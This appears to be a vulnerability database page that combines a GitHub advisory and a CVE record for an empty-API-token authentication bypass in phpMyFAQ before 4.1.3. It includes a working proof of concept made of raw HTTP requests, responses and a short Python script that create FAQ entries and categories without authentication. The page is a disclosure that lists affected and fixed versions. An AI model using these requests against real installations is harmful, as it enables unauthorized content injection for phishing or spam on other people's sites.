Vulnerability-Lookup

GHSA-GP95-J463-VV28

Vulnerability from github – Published: 2026-05-20 15:46 – Updated: 2026-05-28 14:22

Summary

phpMyFAQ: Default Empty API Token Authentication Bypass

Details

Summary

A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."

Details

The root cause is in two files:

1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):

'api.enableAccess'   => 'true',
'api.apiClientToken' => '',       // ← defaults to empty string

2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):

protected function hasValidToken(): void
{
    $request = Request::createFromGlobals();
    if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
        throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
    }
}

The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.

The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.

The following API endpoints call $this->hasValidToken() as their only authentication check:

File	Endpoint	Method
`src/.../Controller/Api/FaqController.php:701-703`	`/api/v4.0/faq/create`	`POST`
`src/.../Controller/Api/FaqController.php:857-859`	`/api/v4.0/faq/update`	`PUT`
`src/.../Controller/Api/CategoryController.php:278-280`	`/api/v4.0/category`	`POST`
`src/.../Controller/Api/QuestionController.php:89-91`	`/api/v4.0/question`	`POST`

PoC

Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.

Step 1 — Verify that requests without auth header are correctly rejected:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json

{
    "language": "en",
    "category-id": 1,
    "question": "Test Question",
    "answer": "Test Answer",
    "keywords": "test",
    "author": "test",
    "email": "test@test.com",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 401 — correctly blocked):

{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}

Step 2 — Send the same request with an empty x-pmf-token header:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "category-id": 1,
    "question": "[POC] Authentication Bypass Confirmed",
    "answer": "This FAQ was created without any valid authentication token.",
    "keywords": "poc,bypass",
    "author": "Security Researcher",
    "email": "researcher@example.com",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 201 — bypass confirmed):

{"stored": true}

Step 3 — Category creation via the same bypass:

POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "parent-id": 0,
    "category-name": "POC_Category",
    "description": "Category created via empty token bypass",
    "user-id": 1,
    "group-id": -1,
    "is-active": true,
    "show-on-homepage": true
}

Response (HTTP 201):

{"stored": true}

Step 4 — Verify injected content is publicly visible:

GET /api/v4.0/faqs/1 HTTP/1.1
Host: <target>

Response (HTTP 200 — injected FAQ publicly exposed):

[{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}]

PoC with Python (urllib — no external dependencies):

import urllib.request, json

TARGET = "http://<target>"
HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}

# Create FAQ via empty token bypass
data = json.dumps({
    "language": "en", "category-id": 1,
    "question": "[POC] Auth Bypass", "answer": "Created via bypass.",
    "keywords": "poc", "author": "R", "email": "r@t.com",
    "is-active": True, "is-sticky": False
}).encode()
req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST")
resp = urllib.request.urlopen(req)
print(f"Status: {resp.status}")  # 201 — bypass successful

Overlap Summary:

Test	x-pmf-token	HTTP Status	Result
No auth header	(not sent)	401 Unauthorized	🔒 Correctly blocked
Empty token header	`""`	201 Created	🔓 Bypass confirmed
Category creation	`""`	201 Created	🔓 Bypass confirmed
Public verification	(not needed)	200 OK	📄 Injected content visible

Impact

This is an authentication bypass (CWE-1188) affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the default state after installation.

Who is impacted? Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state.
What can an attacker do? Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base.
What is NOT affected? Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35672"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-20T15:46:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds `api.apiClientToken` with an empty string, and the `hasValidToken()` comparison logic cannot distinguish between \"no token configured\" and \"attacker sent a matching empty token header.\"\n\n### Details\n\nThe root cause is in two files:\n\n**1. Installation default** (`src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php`, line 277-278):\n\n```php\n\u0027api.enableAccess\u0027   =\u003e \u0027true\u0027,\n\u0027api.apiClientToken\u0027 =\u003e \u0027\u0027,       // \u2190 defaults to empty string\n```\n\n**2. Authentication check** (`src/phpMyFAQ/Controller/AbstractController.php`, line 198-204):\n\n```php\nprotected function hasValidToken(): void\n{\n    $request = Request::createFromGlobals();\n    if ($this-\u003econfiguration-\u003eget(\u0027api.apiClientToken\u0027) !== $request-\u003eheaders-\u003eget(\u0027x-pmf-token\u0027)) {\n        throw new UnauthorizedHttpException(\u0027\"x-pmf-token\" is not valid.\u0027);\n    }\n}\n```\n\nThe method uses strict inequality (`!==`). When `api.apiClientToken` is `\u0027\u0027` (default) and the attacker sends `x-pmf-token: ` (empty header value), the comparison becomes `\u0027\u0027 !== \u0027\u0027` which evaluates to `false` \u2014 no exception is thrown, and authentication is completely bypassed.\n\nThe OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged `\u0027Endpoints with Authentication\u0027` and document HTTP 401 responses, while read-only endpoints are tagged `\u0027Public Endpoints\u0027`.\n\nThe following API endpoints call `$this-\u003ehasValidToken()` as their only authentication check:\n\n| File                                                    | Endpoint               | Method |\n| ------------------------------------------------------- | ---------------------- | ------ |\n| `src/.../Controller/Api/FaqController.php:701-703`      | `/api/v4.0/faq/create` | `POST` |\n| `src/.../Controller/Api/FaqController.php:857-859`      | `/api/v4.0/faq/update` | `PUT`  |\n| `src/.../Controller/Api/CategoryController.php:278-280` | `/api/v4.0/category`   | `POST` |\n| `src/.../Controller/Api/QuestionController.php:89-91`   | `/api/v4.0/question`   | `POST` |\n\n### PoC\n\n**Environment**: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.\n\n**Step 1 \u2014 Verify that requests without auth header are correctly rejected:**\n\n```http\nPOST /api/v4.0/faq/create HTTP/1.1\nHost: \u003ctarget\u003e\nContent-Type: application/json\n\n{\n    \"language\": \"en\",\n    \"category-id\": 1,\n    \"question\": \"Test Question\",\n    \"answer\": \"Test Answer\",\n    \"keywords\": \"test\",\n    \"author\": \"test\",\n    \"email\": \"test@test.com\",\n    \"is-active\": true,\n    \"is-sticky\": false\n}\n```\n\nResponse (HTTP 401 \u2014 correctly blocked):\n\n```json\n{\"type\":\".../problems/unauthorized\",\"title\":\"Unauthorized\",\"status\":401,\"detail\":\"Unauthorized access.\",\"instance\":\"/v4.0/faq/create\"}\n```\n\n**Step 2 \u2014 Send the same request with an empty `x-pmf-token` header:**\n\n```http\nPOST /api/v4.0/faq/create HTTP/1.1\nHost: \u003ctarget\u003e\nContent-Type: application/json\nx-pmf-token: \n\n{\n    \"language\": \"en\",\n    \"category-id\": 1,\n    \"question\": \"[POC] Authentication Bypass Confirmed\",\n    \"answer\": \"This FAQ was created without any valid authentication token.\",\n    \"keywords\": \"poc,bypass\",\n    \"author\": \"Security Researcher\",\n    \"email\": \"researcher@example.com\",\n    \"is-active\": true,\n    \"is-sticky\": false\n}\n```\n\nResponse (HTTP 201 \u2014 bypass confirmed):\n\n```json\n{\"stored\": true}\n```\n\n**Step 3 \u2014 Category creation via the same bypass:**\n\n```http\nPOST /api/v4.0/category HTTP/1.1\nHost: \u003ctarget\u003e\nContent-Type: application/json\nx-pmf-token: \n\n{\n    \"language\": \"en\",\n    \"parent-id\": 0,\n    \"category-name\": \"POC_Category\",\n    \"description\": \"Category created via empty token bypass\",\n    \"user-id\": 1,\n    \"group-id\": -1,\n    \"is-active\": true,\n    \"show-on-homepage\": true\n}\n```\n\nResponse (HTTP 201):\n\n```json\n{\"stored\": true}\n```\n\n**Step 4 \u2014 Verify injected content is publicly visible:**\n\n```http\nGET /api/v4.0/faqs/1 HTTP/1.1\nHost: \u003ctarget\u003e\n```\n\nResponse (HTTP 200 \u2014 injected FAQ publicly exposed):\n\n```json\n[{\"record_id\":1,\"record_lang\":\"en\",\"category_id\":1,\"record_title\":\"[POC] Authentication Bypass Confirmed\",\"record_preview\":\"This FAQ was created without any valid authentication token. ...\"}]\n```\n\n**PoC with Python (urllib \u2014 no external dependencies):**\n\n```python\nimport urllib.request, json\n\nTARGET = \"http://\u003ctarget\u003e\"\nHEADERS = {\"Content-Type\": \"application/json\", \"x-pmf-token\": \"\"}\n\n# Create FAQ via empty token bypass\ndata = json.dumps({\n    \"language\": \"en\", \"category-id\": 1,\n    \"question\": \"[POC] Auth Bypass\", \"answer\": \"Created via bypass.\",\n    \"keywords\": \"poc\", \"author\": \"R\", \"email\": \"r@t.com\",\n    \"is-active\": True, \"is-sticky\": False\n}).encode()\nreq = urllib.request.Request(f\"{TARGET}/api/v4.0/faq/create\", data=data, headers=HEADERS, method=\"POST\")\nresp = urllib.request.urlopen(req)\nprint(f\"Status: {resp.status}\")  # 201 \u2014 bypass successful\n```\n\n**Overlap Summary:**\n\n| Test                | x-pmf-token    | HTTP Status      | Result                     |\n| ------------------- | -------------- | ---------------- | -------------------------- |\n| No auth header      | *(not sent)*   | 401 Unauthorized | \ud83d\udd12 Correctly blocked        |\n| Empty token header  | `\"\"`           | **201 Created**  | \ud83d\udd13 Bypass confirmed         |\n| Category creation   | `\"\"`           | **201 Created**  | \ud83d\udd13 Bypass confirmed         |\n| Public verification | *(not needed)* | 200 OK           | \ud83d\udcc4 Injected content visible |\n\n### Impact\n\nThis is an **authentication bypass (CWE-1188)** affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token \u2014 which is the **default state after installation**.\n\n- **Who is impacted?** Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist \u2014 it is the out-of-the-box state.\n- **What can an attacker do?** Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base.\n- **What is NOT affected?** Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.",
  "id": "GHSA-gp95-j463-vv28",
  "modified": "2026-05-28T14:22:05Z",
  "published": "2026-05-20T15:46:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ: Default Empty API Token Authentication Bypass"
}

CVE-2026-35672 (GCVE-0-2026-35672)

Vulnerability from cvelistv5 – Published: 2026-05-28 14:13 – Updated: 2026-05-28 15:28

Title

phpMyFAQ - Authentication Bypass via Empty API Token

Summary

phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

CWE

CWE-1188 - Initialization of a Resource with an Insecure Default

Assigner

VulnCheck

References

2 references

URL	Tags
https://github.com/thorsten/phpMyFAQ/security/adv…	third-party-advisory
https://www.vulncheck.com/advisories/phpmyfaq-aut…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
thorsten	phpMyFAQ	Affected: 0 , < 4.1.3 (semver) Unaffected: 4.1.3 (semver)

Date Public

2026-05-14 00:00

Credits

guayu-kakeru

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-35672",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-28T15:28:03.726415Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-28T15:28:15.557Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "phpMyFAQ",
          "vendor": "thorsten",
          "versions": [
            {
              "lessThan": "4.1.3",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "4.1.3",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.1.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "guayu-kakeru"
        }
      ],
      "datePublic": "2026-05-14T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        },
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1188",
              "description": "Initialization of a Resource with an Insecure Default",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-28T14:15:18.425Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GHSA Advisory GHSA-gp95-j463-vv28",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28"
        },
        {
          "name": "VulnCheck Advisory: phpMyFAQ - Authentication Bypass via Empty API Token",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token"
        }
      ],
      "title": "phpMyFAQ - Authentication Bypass via Empty API Token",
      "x_generator": {
        "engine": "vulncheck"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-35672",
    "datePublished": "2026-05-28T14:13:13.739Z",
    "dateReserved": "2026-04-04T12:32:50.476Z",
    "dateUpdated": "2026-05-28T15:28:15.557Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-GP95-J463-VV28

Summary

Details

PoC

Impact

CVE-2026-35672 (GCVE-0-2026-35672)

Tags

Sightings

Nomenclature